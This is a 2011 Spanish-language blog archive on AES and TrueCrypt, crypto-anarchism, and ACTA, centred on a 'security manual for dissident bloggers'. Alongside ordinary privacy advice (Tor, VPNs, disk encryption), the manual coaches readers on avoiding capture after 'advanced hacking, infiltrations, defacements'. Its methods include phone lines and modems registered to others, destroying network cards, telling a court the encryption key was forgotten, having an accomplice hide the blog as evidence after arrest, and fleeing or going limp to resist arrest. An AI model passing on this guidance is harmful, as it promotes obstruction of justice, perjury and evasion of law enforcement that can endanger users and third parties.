En 1997, el Instituto Nacional de Normas y Tecnología (NIST) decidió realizar un concurso para escoger un nuevo algoritmo de cifrado capaz de proteger información sensible durante el siglo XXI. Este algoritmo se denominó Advanced Encryption Standard (AES).

El 2 de enero de 1997 el NIST anunció su intención de desarrollar AES, con la ayuda de la industria y de la comunidad criptográfica. El 12 de septiembre de ese año se hizo la convocatoria formal. En esta convocatoria se indicaban varias condiciones para los algoritmos que se presentaran:

1.- Ser de dominio público, disponible para todo el mundo.
2.- Ser un algoritmo de cifrado simétrico y soportar bloques de, como mínimo, 128 bits.
3.- Las claves de cifrado podrían ser de 128, 192 y 256 bits.
4.- Ser implementable tanto en hardware como en software.

Hasta 2005, no se ha encontrado ningún ataque exitoso contra el AES. La Agencia de Seguridad Nacional de los Estados Unidos (NSA) revisó todos los finalistas candidatos al AES, incluyendo el Rijndael, y declaró que todos ellos eran suficientemente seguros para su empleo en información no clasificada del gobierno de los Estados Unidos. En junio de 2003, el gobierno de los Estados Unidos anunció que el AES podía ser usado para información clasificada:

The design and strength of all key lengths of the AES algorithm (i.e., 128, 192 and 256) are sufficient to protect classified information up to the SECRET level. TOP SECRET information will require use of either the 192 or 256 key lengths. The implementation of AES in products intended to protect national security systems and/or information must be reviewed and certified by NSA prior to their acquisition and use.1"

Este hecho marca la primera vez que el público ha tenido acceso a un cifrador aprobado por la NSA para información super secreta (TOP SECRET).

Encripta tu información con TrueCrypt

Encripta los discos duros de tu computador con: (True Crypt) y encríptalo todo en AES que es el sistema estandar de encriptación oficial de la NSA para documentos clasificados ultra secretos del gobierno de los Estados Unidos y no te olvides de ponerle una clave segura, a continuación expongo un tutorial en video:

Descarga TrueCrypt

Otros tutoriales muy útiles sobre TrueCrypt:

1.- Wikipedia | TrueCrypt
2.- Kriptópolis | TrueCrypt
3.- Kriptópolis | TrueCrypt en Linux
4.- Kriptópolis | TrueCrypt en Windows
5.- Kriptópolis | Cifrado total de discos duros en Windows (1): TrueCrypt + Pismo
6.- Kriptópolis | Cifrado total de discos duros en Windows (2): LLP y ficheros clave de más de 8 GB
7.- Puro Software | TrueCrypt - Software para encriptar datos, particiones, unidades etc + videotutoriales

Criptoanarquismo | Bienvenidos al ciferespacio anarcocapitalista

2011-11-12T11:35:00.008-05:00

El criptoanarquismo es una ideología o estrategia que se muestra a favor de la utilización de la criptografía asimétrica para hacer cumplir la privacidad y la libertad individual. Término popularizado por Timothy C. May, es descrito por Vernor Vinge como la realización ciberespacial del anarcocapitalismo. Los criptoanarquistas apuntan al objetivo de crear software criptográfico que se pueda utilizar para eludir la persecución judicial y el acoso al enviar y recibir información en redes de computadoras. Timothy C. May escribe sobre el criptoanarquismo en Cyphernomicon:

Lo que emerge de todo esto no es claro, pero creo que será un forma de sistema de mercado anarcocapitalista que yo llamo "criptoanarquía", (Cyphernomicon, Sección 2.3.4.)

Leer: Manual de seguridad informática para blogueros disidentes

Con el uso de estos programas informáticos, la conexión entre la identidad de un usuario o una organización y el seudónimo que usan es casi totalmente indemostrable, a menos que el usuario revele la conexión. Es difícil decir qué leyes nacionales serían ignoradas, ya que incluso la ubicación de un determinado usuario sería desconocida. En cierto sentido, el cifrado de redes anónimas (el "ciferespacio", textualmente “espaciocifrado” o “criptoespacio”) puede considerarse como un territorio independiente, sin ley pública o coactiva. Sin embargo, los participantes pueden, en teoría, voluntariamente crear leyes privadas o utilizar contratos o protocolos, o si el usuario es un seudónimo anónimo, depender de la reputación en línea.

Un alegato de los criptoanarquistas es la defensa contra la vigilancia de las redes informáticas de comunicación. Tratan de protegerse de restricciones como la retención de datos de telecomunicaciones, el controvertido mandato de vigilancia de la NSA y la Room 641A, entre otras cosas. Los criptoanarquistas consideran que el desarrollo y el uso de la criptografía son la principal defensa contra ese tipo de problemas, en lugar de la acción política.

Una segunda preocupación es la evasión de la censura, en particular la censura de Internet, con el argumento de la libertad de expresión. Los programas usados por los criptoanarquistas a menudo hacen posible publicar y leer información de Internet y otras redes de computadoras de manera anónima. Tor, I2P, Freenet y muchas redes similares llamadas también "darknets" hacen accesibles páginas web “ocultas” sólo para los usuarios de estos programas anónimos. Esto ayuda a informantes y la oposición política en las naciones opresoras para difundir información.

En tercer lugar, el problema técnico en el desarrollo de estos sistemas criptográficos es enorme, lo que ha llevado a algunos programadores a unirse al desarrollo.

Darknet es un amplio término que denota las redes y tecnologías que permiten a los usuarios copiar y compartir material digital, sin que haya forma alguna de conocer las descargas que se realizan así como los usuarios que la integran, (Darknet).

Ciferespacio es la denominación para el ciberespacio cifrado que garantiza el anonimato del usuario mediante el ocultamiento de la dirección IP o de la información. Ejemplos de ciferespacios son las redes Freenet, I2P, VPN, (Ciferespacio).

La criptografía (del griego κρύπτω krypto, «oculto», y γράφως graphos, «escribir», literalmente «escritura oculta») es la técnica, bien sea aplicada al arte o la ciencia, que altera las representaciones lingüísticas de un mensaje. La palabra criptografía es un término genérico que describe todas las técnicas que permiten cifrar mensajes o hacerlos ininteligibles sin recurrir a una acción específica. El verbo asociado es cifrar, (criptografía).

La esteganografía es la disciplina en la que se estudian y aplican técnicas que permiten el ocultamiento de mensajes u objetos, dentro de otros, llamados portadores, de modo que no se perciba su existencia. Es una mezcla de artes y técnicas que se combinan para conformar la práctica de ocultar y enviar información sensible a través de portador, para que pueda pasar desapercibida, (Esteganografía).

Críticas y respuestas

Al criptoanarquismo se le ha criticado por hacer que sea fácil y seguro compartir ilegalmente archivos como películas y música con copyright. Dependiendo del software utilizado, este tipo de sistemas facilita el fácil acceso a pornografía infantil.

También es muy fácil para los delincuentes que hacen uso de las redes coordinar sabotajes y terrorismo. La eliminación de mercados es un buen ejemplo de la forma en que el criptoanarquismo podría utilizarse para estos fines. Los criptoanarquistas reconocen que esa libertad podría ser objeto de abuso por los delincuentes, pero afirman que los mismos ya se están comunicando de forma anónima en las redes, por lo que lo que realmente se haría es llevar los beneficios de la privacidad y la libertad del anonimato a la gente común.

En respuesta a las críticas, los criptoanarquistas argumentan que sin la capacidad de cifrar los mensajes, la información personal y la vida privada están seriamente amenazados. La prohibición de la criptografía equivale a la erradicación del secreto de la correspondencia. Argumentan que sólo un estado policial extremadamente sometedor tipificaría la criptografía como delito. A pesar de ello, ya es ilegal su uso y exportación en algunos países, EE.UU. entre ellos. Por su parte los criptoanarquistas (y ciberpunks) sostienen que las leyes de las matemáticas son más fuertes que las leyes de los hombres, y que, por tanto, el criptoanarquismo es inevitable: siempre que haya un mínimo de libertad de expresión, es imposible impedir que las personas transmiten mensajes cifrados. Por tanto sería imposible detener la propagación del criptoanarquismo. Hacer cumplir una prohibición sobre el uso de la criptografía es probablemente imposible debido a que la propia criptografía puede utilizarse para ocultar incluso la existencia de mensajes cifrados. También es posible “encapsular” los mensajes cifrados con criptografía ilegal (fuerte) dentro de los mensajes cifrados con criptografía autorizada (débil), por lo que resultaría muy difícil y antieconómico para los extraños detectar la utilización ilegal de cifrado.

Negación plausible

El criptoanarquismo depende en gran medida de negación plausible para evitar la censura. Los criptoanarquistas crean esta negación mediante el envío de mensajes cifrados a proxies interconectados en las redes de computadoras. Con el mensaje una carga útil de la información se incluye en la ruta. El mensaje es cifrado para cada uno de los proxies y el receptor los criptogramas asimétricos. Cada nodo sólo puede descifrar su propia parte del mensaje, y sólo puede obtener la información destinada para sí mismo. Es decir, que cada uno es el próximo de la cadena. Por lo tanto, es imposible para cualquier nodo de la cadena saber nada más que el anterior y el próximo o qué información se está transmitiendo al receptor final, dado que dicha información está cifrada. El receptor tampoco sabe quién es el remitente, excepto tal vez por otros destinos, la firma digital o algo similar. Quién envió la información y quién es el receptor se considera difícil de detectar.

Así, con varios niveles de cifrado, es imposible saber quién está conectado a un determinado servicio o seudónimo. Como el castigo sumario de los crímenes es ilegal, es imposible de detener cualquier posible actividad delictiva en la red sin hacer cumplir una fuerte prohibición de cifrado, y esto es probablemente imposible como se ha visto anteriormente.

Cifrado negable y redes de anonimato se pueden utilizar para evitar ser detectado mientras se comparte información con derechos de autor o información de otro modo ilegal, tales como películas, música, juegos de computadora o la información que los usuarios están demasiado asustados para compartir en el Internet ordinario. Podría ser cualquier cosa, desde propaganda contra el Estado, informes de abuso, denuncia de irregularidades, informes de la disidencia china o incluso pornografía infantil, este último es un problema importante en Freenet.

Comercio anónimo

Imposible de rastrear, la emisión de dinero electrónico y de banca por internet anónima existe en estas redes. Digital Monetary Trust y Yodelbank son ejemplos de dos de esos bancos anónimos ha sido puestos fuera de línea, eCache es un banco que actualmente operan en la red Tor, y Pecunix es un banco anónimo de oro (la presentación de información personal para abrir una cuenta es opcional) de funcionamiento en Internet. El intercambio comercial anónimo es más fácil de lograr para servicios de información que se pueden sobre la Internet. Por ejemplo, los desarrolladores de I2P reciben apoyo monetario anónimo o seudónimo de la comunidad I2P. Proporcionar productos materiales es más difícil ya que el anonimato es más fácil de romper al cruzar al mundo real.

El dinero irrastreable permite hacer caso omiso de algunas de las leyes del mundo físico, dado que las leyes no pueden aplicarse sin conocer la identidad física de las personas. Por ejemplo, el impuesto sobre la renta para los servicios en línea pseudónimos siempre se puede evitar si el gobierno no conoce la identidad del prestador de servicios.

Fuente:

Wikipedia | Criptoanarquismo

Manual de seguridad informática para blogueros disidentes

2011-11-11T07:22:00.090-05:00

En latinoamérica la cosa de la disidencia por Internet se complica cada vez mas, en Ecuador está a punto de ser aprobada la ley de comunicación, y aunque aun hay esperanzas que no pase, si se hará efectiva la tipificación del delito informático en el nuevo código penal que presenta penas de siete y hasta nueve años de prisión.

Este post lo hago porque me preocupa que muchos disidentes en Ecuador no saben que las nuevas leyes de delito informático permiten violar la intimidad de los internautas ante la menor sospecha, hoy en día existe ya toda una banda de hackers adolescentes muy prometedores que cometen ciertos errores elementales de seguridad (a ellos va dirigido este tutorial), así que... a cuidarse.

El tutorial que expongo a continuación es avanzado, demasiado quizá para el usuario común, está dado en tres niveles de seguridad, para paises de latinoamérica quizá el nivel mínimo es suficiente, no obstante no está demás hacer uso de los otros niveles.

Paradójicamente aplicar una seguridad máxima (con live CD de Privatix u otra distribución anónima de Linux) es mucho mas fácil que aplicar una seguridad mínima (personalizando tu Pc).

Falta aun un nivel extremo de seguridad informática (que no puedo revelar so pena de exponerme a la policía) que no es para blogueros pero si para hackers, no obstante al final expongo la guía de anonimidad de anonymous (no es completa, pero si muy buena y está hecha en la medida de lo que puede ser de conocimiento público).

Consigue internet

Introducción

Está muy extendido que la mejor conexión a Internet es la que haces en aereopuertos cafeterías o cualquier lugar que te ofrezca wireless gratis, pero esto no es del todo cierto, por que muchos locales tienen sistemas de vigilancia y sería relativamente fácil detectar a un tipo con una laptop (a menos que hayan muchos), pero quizá por estadística te encuentren, es decir... tu estás siempre "misteriosamente" en medio de muchas personas en todo lugar y justo a la misma hora desde donde se detecta que ha salido un ataque, lo ideal es hacer uso del método 1 (a continuación), y además ir en un auto y pasar justo por lugares donde sabes que no hay ojos de águila en las calles ni cámaras de vigilancia (barrios marginales) o cambiar de sitios cada cierto tiempo, pero no es necesaria tanta seguridad, a menos claro que estés haciendo cosas como hacking avanzado, infiltraciones, defacements, etc. (también depende del país donde te encuentres y de la tecnología que posean).

Opción de seguridad máxima

1.- .- Consigue un teléfono móvil usado marca Samsung de alguna persona desconocida, ten en cuenta que esos teléfonos sirven también como módems usb para conectarse a internet en tu computador, si tienes algún otro teléfono busca que te desbloqueen esa opción (si es que se puede).

2.- Consigue un chip de telefonía celular que tenga activada la navegación web y que no esté a nombre tuyo, por lo general los agentes vendedores ponen los chips a sus nombres; recuerda desechar ocasionalmente los chips luego de pasar cierto tiempo de uso, (este sistema es muy caro para navegar siempre, porque tienes que recargar tu internet por medio de tarjetas prepago así que mejor solo úsalo para postear y nada mas).

Opción de seguridad media

1.- Consigue un módem pen drive que no esté a tu nombre (Claro, Movistar, etc.), aprovecha que viene tu tía, amigo, prima de Europa o Estados Unidos y diles que lo compren con su tarjeta de crédito como regalo de navidad, métele algún paro loco de porque tu no puedes pagarlo o ya de golpe hazlo tu cómplice, lo importante es que la conexión a Internet no esté ni a tu nombre ni a nombre de nadie que viva en tu país.

Opción de seguridad mínima

1.- Cualquier conexión de internet de banda ancha sirve siempre y cuando hagas uso de la seguridad necesaria, no uses ni de chiste una empresa proveedora de Internet dada por tu gobierno (estatal, provincial, seccional, etc.), busca una que sea privada (pese a que la Fiscalía de todos modos puede pedir tu historial de navegación); aun con una compañía proveedora de Internet del gobierno puedes lograr ser impune porque siempre puedes declararte "perseguido político" y alegar incriminación e implantación maliciosa de pruebas ;)

2.- En este nivel es "IMPRESCINDIBLE" que consigas un buen firewall "FÍSICO" o router, puede ser de marca Cisco (son carísimos), Netgear o Dlink (económicos) que desvíe ataques de pìngs, floods, cambie tu Ip con cada reinicio, ponga tus puertos en modo stealth y te de un firewall extra, prefiere los que permiten cambiar la MAC Address a voluntad.

Configura tu PC para bloguear

Opción de seguridad máxima (sin disco duro)

1.- Consigue una laptop (preferible, para que tengas movilidad) o una pc vieja y quítales el disco duro, solo es necesario que tengan una tarjeta modem Ethernet (si es PCI o extraíble será mucho mejor, así al destruirla destruyes también tu MAC address física) y un Cd Rom.

2.- Consigue una distribución live CD de algún sistema operativo orientado a la privacidad, estas distribuiones te permiten levantar un SO desde un CD cualquiera, yo recomiendo encarecidamente usar Privatix porque es una distro especialmente diseñada para proteger tu privacidad que tiene todo instalado y está listo para usar: VPN, Red TOR, encriptación en SSL, anonimidad, etc., aunque hay otras distros similares: The Amnesic Incognito Live System (TAILS), Polipix, Ubuntu Privacy Remix (UPR), Liberté Linux, quantOS, etc..

Opción de seguridad media (con disco duro)

1.- La mejor opción será siempre usar Linux en tu Pc, porque no tiene la obligación de dar tu información personal a los servicios de inteligencia internacionales a diferencia de Windows, (¿haz leido las letras pequeñas del contrato de licencia cuando instalaste Windows?).

2.- Si usas Windows, navega siempre con máquinas virtuales que corran Live Cd (Privatix, Liberté Linux, etc.) y usa proxys sobre proxys.

3.- Encripta los discos duros de tu computador por si acaso llega una orden judicial para llevarse tus equipos informáticos, utiliza: (True Crypt) y encríptalo todo en AES que es el sistema estandar de encriptación oficial de la NSA para documentos clasificados ultra secretos del gobierno de los Estados Unidos y no te olvides de ponerle una clave segura.

Opción de seguridad mínima (con Windows, disco duro y Pc de escritorio)

1.- Utiliza siempre proxys que funcionen como red privada virtual (VPN), que encripten la información vía un tunel SSL y que además enmascaren tu identidad IP, todos esos requisitos los cumple a la perfección ultrasurf, también puedes usar el Proyecto TOR (aunque no trabaja como tunel VPN), cualquiera de los dos sistemas son muy recomendados, ultrasurf por ejemplo fue creado justamente para los disidentes chinos y es uno de los mayores exponentes de la libertad de expresión por internet (lamentablemente Eset Nod 32 lo detecta como potencialmente inseguro pero es solo un falso positivo que debes poner como exclusión en configuracion), tanto TOR como Ultrasurf encriptan tu conexion, así nadie podrá saber tu historial de navegación, recuerda que tu gobierno se lo pedirá a tu proveedor de internet vía la Fiscalía.

2.- Encripta los discos duros de tu computador por si acaso llega una orden judicial para llevarse tus equipos informáticos, utiliza: (True Crypt) y encríptalo todo en AES que es el sistema estandar de encriptación oficial de la NSA para documentos clasificados ultra secretos del gobierno de los Estados Unidos y no te olvides de ponerle una clave segura, (cuando te pregunten en el juicio por la clave, diles que la olvidaste).

3.- Consíguete un firewall "FÍSICO" o router marca Cisco (son carísimos), también puede ser uno Netgear o Dlink (económicos) que desvíe ataques de pìngs, floods, cambie tu Ip con cada reinicio, ponga tus puertos en modo stealth y te de un firewall extra, prefiere los que permiten cambiar la MAC Address a voluntad.

4.- Tu tarjeta modem Ethernet para conectarte a internet no debe ser el de la mainboard, debe ser una tarjeta PCI, que sea fácilmente extraíble y destruible (así destruirás también tu MAC address física).

5.- Utiliza: Mac address changer y cambia tu MAC Address cada cierto tiempo, porque es aun mas identificatorio que la IP (reinicia tu conexión a internet o la máquina luego de cambiarla).

6.- Utiliza: Secunia o Patch my Pc para actualizar y parchar tus programs y evitar así huecos en tu seguridad.

7.- Usa un buen antivirus, de esos que te dan protección íntegra (firewall personal, antispam, antispyware, antivirus, etc.), puede ser Eset Smart Security o Kaspersky Antihacker, los dos mejores antivirus del mundo en la actualidad (encuéntralos en Taringa).

8.- Usa siempre limpiadores de errores de registro y de cookies en tu máquina, las mejores opciones son Ccleaner y Jet Clean.

9.- Ten Antispywares inactivos en tu máquina para limpieza ocacional, usa: Superantispyware y Malwarebytes, acuérdate de desactivar su modo residente.

¿Que es Ultrasurf?

ultrasurf es un producto de UltraReach Internet Corporation. Originalmente fue creado para ayudar a que los usuarios de Internet en China encuentren la seguridad y la libertad en línea, Ultrasurf se ha convertido en el software pro-privacidad, anti-censura más popular del mundo, con millones de personas que lo utilizan para vulnerar los cortafuegos y proteger su identidad en línea.

UltraSurf es una aplicación de servidor proxy gratuito. Funciona como una VPN gratuita sin necesidad de instalación. Pasa por un túnel de seguridad SSL todo el tráfico http(s) a través del puerto 9666 hasta un servidor americano, (la IP la identifica desde una isla cerca de África). Mediante su uso, se puede evitar la censura, así como permanecer en el anonimato en Internet.

Se especula que fue creado con financiamiento de los servicios de inteligencia norteamericanos para darles a los disidentes chinos una forma de expresar su disconformidad con el gobierno comunista.

Está orientado exclusivamente a labores poíticas o sociales en pos de la libertad de expresión y la disidencia, no permite ver sitios con pornografía y tampoco ciertos videos de Youtube de contenido musical hecho por compañias disqueras.

¿Que es el proyecto TOR?

Tor (The Onion Router) es una implementación libre de un sistema de encaminamiento llamado onion routing que permite a sus usuarios comunicarse en Internet de manera anónima. Originado en el US Naval Research Laboratory y hasta noviembre de 2005 patrocinado por la Electronic Frontier Foundation, Tor es desarrollado por Roger Dingledine y Nick Mathewson junto con otros desarrolladores Gv. SyrinX anonimato.

Tor provee un canal de comunicación anónimo y está diseñado para ser resistente a ataques de análisis de tráfico (traffic analysis). Por lo tanto, usando Tor es posible realizar una conexión a un equipo sin que éste o ningún otro tenga posibilidad de conocer el número de IP de origen de la conexión.

Navegación

1.- Usa siempre un navegador seguro, nunca, nunca, pero nunca jamás en tu vida navegues con Internet explorer, sea la versión que sea (de hecho, cada nueva versión es peor que la anterior), usa Firefox, o de preferencia Google Chrome (mas rápido y mas seguro a mi entender), otra opción es un navegador virtualizado como: Dell secure browser, que hace correr todo desde una aplicación virtual sin la necesidad de tener instalada una máquina virtual.

2.- Busca protegerte contra el rastreo, navega siempre con la pestaña de incógnito en cualquier navegador, de todos modos, busca ser anónimo aun hasta para el rastreo de cookies sin tener que deshabilitarlas:

a.- En Firefox debes ir a: Herramientas, luego a: Opciones y en la sección: Privacidad, marcas la casilla donde dice: decir a los sitios web que no quiero ser rastreado.

b.- En IE lo logras desde el menú opciones, luego vas a seguridad y haces click donde dice protección de rastreo, allí escoges y activas algunos plugins con este fin.

c.- En Google Chrome lo logras accediendo a la Chrome Web Store desde donde descargas y activas un plugin llamado: Inhabilitar personalización, que evita el rastreo con fines comerciales u otros fines.

3.- Navega siempre desde buscadores que te den protección SSL como Ixquick o Scroogle, yo prefiero Google SSL, agrégalo como página principal, también ponlo como motor de búsqueda predeterminado, anda a opciones de Google Chrome, luego haz click en: administrar motores de búsqueda, allí se abrirá una ventana con tres cajas: Nombre, palabra clave y URL, en las dos primeras tienes que escribir: Google SSL, y en la tercera debes introducir la siguiente dirección:

https://www.google.com/search?{google:acceptedSuggestion}{google:originalQueryForSuggestion}sourceid=chrome&ie={inputEncoding}&q=%

4.- Revisa y comprueba siempre que tu dirección IP está en alguna otra parte del mundo (África, Japón, Groenlandia, India, etc.), usa un IP tracker como: What is my ip address.

5.- Testea tu nivel de anonimidad con la herramienta: Ip check que te dice que tan anónimo eres, hasta hace poco tiempo Adobe Flash player tenía un hueco en la seguridad terrible que dejaba ver tu Ip por mas que estuvieses detrás de un proxy, tal parece que ya lo han resuelto (de algo sirvieron las críticas de Steve Jobs), pero aun queda Java que muestra tu Ip cuando al fin te crees el "hombre invisible", por eso recomiendo prescindir por completo del java.

6.- Testea siempre tu velocidad de acceso a internet, si tu conexión está lenta puede ser una señal de la presencia de algún backdoor o virus en tu Pc, haz la prueba de velocidad con la herramienta: Speed Test

8.- Navega mas rápido bloqueando la publicidad en las páginas web, muchos cookies de activada extraña o actitud sospechosa de rastreo se instalan en tu pc al cargar los scripts publicitarios, descarga e instala adblock para Google Chrome y para Mozilla Firefox.

8.- Si deseas usar un chat prefiere Digsby porque te permite configurarlo a tavés de un proxy, o usa algún chat de navegador tipo Meebo (siempre y cuando estés bien proxificado).

9.- Envía mensajes anónimos e irrastreables con: anonymouse, awxcnx, Safe Mail, Hush Mail, burla los registros y evita el spam con: 10 minutes mail, Yop Mail.

10.- Si usas facebook no te olvides de activar la opción de navegación segura con SSL (https), lo encuentras dentro de la opción: configuración de la cuenta, una vez alí al lado izquierdo vas donde dice: seguridad, haces click donde dice: navegación segura y luego señalas donde dice: Usar Facebook a través de una conexión segura siempre que sea posible, (guardas tus cambios). Para que no te compliques, esa opción está actualmente en este link: https://www.facebook.com/settings?tab=security (pero con Facebook nunca se sabe donde aparecerá una opción mañana).

11.- Navega siempre por páginas seguras y bla, bla, bla, ya sabes el resto...

Seguridad extra: proxy sobre proxy

Algunas películas muestran a los hackers atacando desde un punto fiticio porque en realidad están conectados detrás de 10 o 20 proxys, esto lo puedes hacer tu también, para eso debes seguir estos pasos:

1.- Descargar el navegador Google Chrome.

2.- Descargar la extensión para Chrome: Switch Proxy, que permite cambiar la conexión a internet de todos los navegadores instalados desde Chrome.

3.- Descargar Vidalia (aplicación de TOR), (una cosa es la aplicación Vidalia de TOR y otra es el navegador TOR).

4.- Descargar ultrasurf

5.- Descargar Proxifier, obliga a todas las conexiones y aplicaciones de tu Pc que hacen uso de Internet a pasar por un proxy específico (inclusido Windows Update y todo lo demás).

6.- Configurar los puertos de ultrasurf y Vidalia (TOR) en las opciones de Switch Proxy:

a.- Ultasurf lo hace de forma automática, pero de todos modos te digo los puertos: el HTTP Proxy es: 127.0.0.1 y el Puerto es: 9666

b.- Vidalia (TOR) no lo hace de forma automática, así que debes agregarlo de forma manual: el HTTP Proxy es: 127.0.0.1 y el Puerto es: 8118

c.- A los dos (tanto Vidalia como Ultrasurf) le haces click en la opción que dice: Use the same proxy server for all protocols.

7.- Ahora configuras el Proxifier, vas a: Profile, luego a: Proxy servers y allí agregas el HTTP y el puerto de Ultrasurf, escoges el protocolo https (máxima seguridad) y activas la casilla que dice: appear as internet explorer 6 (para esconder el tipo de navegador que usas), terminado esto vas nuevamente a: Profile, y luego a: Proxification rules, y haces click en: add, se te abrirá una ventana y en la caja de aplications buscas con browse la direccion donde tienes el ultrasurf y le pones la regla "direct", esto es para que Ultrasurf no sea proxificado y tenga acceso directo a Internet.

Funcionamiento: Activas tanto Ultrasurf como Vidalia (TOR), abres Google Chrome, vas a la esquina superior derecha y haces click en el ícono de Proxy Switchy y escoges TOR (previamente debiste haberlo configurado y guardado como opción).

Explicación final: Proxifier obliga a todas las aplicaciones (incluida Vidalia (TOR)) a salir por un tunel SSL vía el proxy de Ultrasurf (que a su vez también usa una encriptación SSL), el IP tracker detectará la Ip que pone TOR, incluso lo hará el detector de TOR: https://check.torproject.org/, pero ambos sabemos que Vidalia (TOR) estará detrás de Ultrasurf + Proxifier ;) ;) esto puedes hacerlo con cualquier otro proxy base, no es necesario que como base esté ultrasurf, puede estar incluso tu proxy de pago, etc.

PD: Lamentablemente Proxifier es de pago, pero hay otras opciones para proxificar toda tu Pc, como Proxycap (también de pago) y Widecap (gratuito :D).

Ingeniería social y consejos adicionales

Introducción: Ningún hacker sale adelante sino es con una buena dosis de ingeniería social, por eso expongo algunos trucos para el blogueo disidente:

1.- Lee siempre y varias veces en tu vida el libro: El arte de la guerra de Sun Tzu

2.- Ten algunos planes de contingencia por si algo te sucede.

3.- Ten un abogado listo, de preferencia uno que sea tu amigo, que sea muy astuto, sucio y muy puerco (casi todos son así pero búscate el que más).

4.- Ten de aliado a algún amigo que tenga contactos con la prensa, mientras mas escándalo se haga por tu prisión, mas oportunidades tendrás de salir libre (lo que mas le molesta a todo gobierno populista - dictatorial es que le hagan mala propaganda porque le hace perder votos).

5.- Si la policía se te cruza con sus carros o motos y te dicen que salgas del auto con alguna dizque orden judicial, no abras la puerta el carro, ahorra unos minutos y aprovecha para llamar a tu abogado y decirle lo que sucede.

6.- Si te van a llevar preso haz el mayor escándalo posible, busca que te la gente te grabe y vean lo que está pasando (si vives en un país con un gobierno dictatorial como Ecuador, tendrás que cuidarte de los ajusticiamientos secretos).

7.- Espera una luz roja y sal corriendo así sea a donde sea, lo importante es que se les haga dificil capturarte y que la gente vea que te persiguen, juégate la mínima probabilidad de lograr escapar.

8.- Si te logran agarrar, tírate al piso, no te subas por nada de este mundo a la camioneta donde te pretenden llevar quien sabe a que lugar, haz como los niños malcriados, que sean ellos quienes te carguen y te lleven como puedan, mueve las piernas, los brazos, si te golpean y te dejan moretones mucho mejor (así podrás alegar abuso policial).

9.- Ni se te ocurra creerles a quienes te digan que son policías y no usen uniformes militares u oficiales, sospecha siempre de los famosos policías "encubiertos".

10.- Nunca sigas horarios de rutina, cambia siempre tus horarios de entrada y salida si crees que te están siguiendo o ya te han identificado, cambia de residencia ocasionalmente, que te la de "amoroso" y visita por temporadas a tus abuelos, primos, tíos, familiares, etc..

11.- Cuida las llamadas de tu teléfono celular y convencional porque puede que ya te lo estén pinchando (no menciones nada comprometedor, habla siempre en clave, ponte de acuerdo con ciertos familiares y amigos y ponles trampas para confundirlos).

12.- Ten planeada de antemano tu salida jurídica (suplantación de identidad, clonación de Ip, clonación de MAC address, incriminación por persecución política, te hackearon la máquina, virus, troyanos, gusanos, spam, spyware, keyloggers, backdoors, tunneling, etc.), lee mucho sobre jurisprudencia, de ahora en adelante deben gustarte demasiado las leyes.

13.- Que no te intimiden los fiscales y los peritos que se te pongan enfrente, cuatro o cinco peritos informáticos no son mas que tú, ten siempre en mente que nadie está por encima de ti, y tú serás siempre quien esté por encima de los demás.

14.- Ponle mucha atención a la seguridad de tu blog:

a.- Ten siempre respaldos de tu blog, súbelos a un disco duro virtual como Mediafire y dale el link a alguien de tu confianza, por si acaso te pasa algo, el reposteará todos tus archivos de nuevo.

b.- Apenas te cojan preso, habla con alguien a quien le hayas dado previamente tus claves de acceso, para que ponga tu blog en privado y así no existan pruebas de nada durante la audiencia preliminar (ten cuidado con el caché de Google).

c.- Si sospechas que te han hackeado el blog, desliga el hosting del blog del proveedor de nombre propio (punto com, punto org, etc.) y de ser necesario vuelve a subir los archivos respaldados a otro hosting.

d.- Ninguna seguridad para tu blog es innecesaria; si usas un hosting: contrata el sevicio de respaldo automático de achivos y mantenlo siempre actualizado a la última versión de tu sistema de gestión de contenidos (CMS), si usas Blogger con nombre propio: traspasa la propiedad de tu blog a una nueva cuenta Google creada en Google apps (incluidas las imágenes de Picasa) y desde allí gestiona siempre tu blog con un usuario que tenga permisos limitados, crea también otro usuario secreto (que nunca utilizarás sino solo para casos de emergencias) que posea permisos de "SUPER-ADMINISTRADOR", (la clave que le darás a la persona de tu confianza será ciertamente una que tenga permisos sumamente limitados, casi con la exclusiva capacidad de poner el blog en privado y nada más).

15.- Se pesimista (al mas puro estilo freudiano) y por momentos hasta paranoide, visualiza los peores escenarios y las mas arriesgadas salidas y escapatorias; de ahora en adelante deberás ser un Boy Scout y tu obligación será estar "SIEMPRE LISTO" para todo... ¿Fuiste Scout en tu niñez?, espero por tu bien que así haya sido.

16.- Juega siempre, siempre, pero siempre a las probabilidades matemáticas, actúa en base a conveniencias sin dejar de ser idealista, busca ser analítico, lógico y racional, planea todo de antemano, se maquiavélico y hasta cínico de ser necesario, si eres colérico practica ser flemático en extremo, se un camaleón... "MUTA", mimetízate con el ambiente y con tus enemigos, léeos, adívinalos, desafíalos, provócalos, confúndelos, humíllalos, intenta cada día ser menos humano y mas máquina, en otras palabras: "PSICOPATÍZATE".

17.- Confía solo en tu inteligencia y desconfía siempre de la inteligencia de los demás.

18.- Recuerda: Este es un trabajo sucio pero alguien tiene que hacerlo... ¿y si no eres tú?, ¿quién mejor que tú para lograrlo?.

19.- Piensa que tarde o temprano vendrán a buscarte y bien pueden llegar tanto policías como sicarios contratados por el gobierno.

20.- Considérate hombre muerto (te ayudará a asumir lo que sea que venga).

Te deseo mucha suerte...

Guía de seguridad informática de Anonymous

Guia Anonymous

Ver archivo en pantalla completa

Di no al ACTA | Entérate de que se trata

2011-10-30T04:55:00.004-05:00

El Acuerdo Comercial Anti-piratería, conocido como ACTA por sus siglas en inglés (Anti Conterfeiting Trade Agreement) es un acuerdo internacional que tiene como objetivo regular los derechos de propiedad intelectual a nivel global, en respuesta al “incremento de los bienes falsificados y obras protegidas por copyright pirateadas en el mercado global”, según sus propios promotores.

Ha sido expuesto como una respuesta al "incremento de los bienes falsificados y obras protegidas por copyright pirateadas en el mercado global", lo que hace a su ámbito muy amplio, pues incluye la falsificación de bienes físicos, así como la distribución de obras en Internet y las tecnologías de la información.

Entre los países que negocian este acuerdo se encuentran Estados Unidos, Suiza, Japón, Australia, Corea del Sur, Nueva Zelanda, Jordania, Marruecos, Canadá, la Comisión Europea y México, entre otros.

La iniciativa de ACTA no es totalmente clara, ya que incluso el Gobierno de Estados Unidos declara que desconocen el avance de los acuerdos, pues las negociaciones se realizan en secreto y aparentemente responden solamente a intereses comerciales de particulares.

A pesar del hermetismo por parte de los negociadores del acuerdo, el objetivo general es crear un reglamento internacional de derechos de autor que sea independiente de los ya existentes a través de la Organización Mundial de Comercio (OMC), de la Organización Mundial de la propiedad Intelectual (OMPI) e incluso la ONU.

